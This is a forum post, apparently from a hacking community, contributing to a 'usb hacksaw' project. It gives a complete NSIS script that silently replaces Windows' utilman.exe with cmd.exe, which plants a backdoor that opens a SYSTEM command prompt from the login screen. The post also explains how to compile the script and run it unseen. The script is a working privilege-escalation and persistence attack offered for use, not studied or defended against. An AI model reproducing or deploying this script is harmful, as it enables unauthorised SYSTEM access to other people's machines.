Jump to content

hacksaw gain system privs


Recommended Posts

Ok, so i was really interested in the post which described switching the utilman.exe with cmd.exe which would give u access to the system account, as you could then launch the command prompt from the login screen.

I am sure someone has already come up with a solution, but here is my idea.

I used a complier called NSIS, which is mainly used for creating Installers. It is also used to create the launchers on the portableapps.com site.

!define NAME "ChangeFilesReboot"
!define VER ""

;=== Program Details
Name "${NAME}"
OutFile "${NAME}.exe"
Caption "${NAME}"
VIProductVersion "${VER}"
VIAddVersionKey ProductName "${NAME}"
VIAddVersionKey Comments ""
VIAddVersionKey CompanyName "PB Inc."
VIAddVersionKey LegalCopyright "There is None"
VIAddVersionKey FileDescription "${NAME}"
VIAddVersionKey FileVersion "${VER}"
VIAddVersionKey ProductVersion "${VER}"
VIAddVersionKey InternalName "{NAME}"
VIAddVersionKey LegalTrademarks ""
VIAddVersionKey OriginalFilename "${NAME}.exe"
;VIAddVersionKey PrivateBuild ""
;VIAddVersionKey SpecialBuild ""

;=== Runtime Switches
CRCCheck On
WindowIcon Off
SilentInstall Silent
AutoCloseWindow True
RequestExecutionLevel user

;==== Best Compression
SetCompress Auto
SetCompressor /SOLID lzma
SetCompressorDictSize 32
SetDatablockOptimize On

Section "Main"
Rename /REBOOTOK `$WINDIR\system32\utilman.exe` `$WINDIR\system32\utilman.old`
CopyFiles /Silent `$WINDIR\system32\cmd.exe` `$WINDIR\system32\utilman.exe`

Go to this site: http://nsis.sourceforge.net/Main_Page

and download the main app which will be a compiler, compile this app and then allow it to run. It will show nothing, but that is what it is supposed to do. When you reboot and check your system32 folder you will see that "utilman.exe" is now "utilman.old" and "cmd.exe" was copied to create "utilman.exe"

I hope that this addition will help the usb hacksaw project



Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Create New...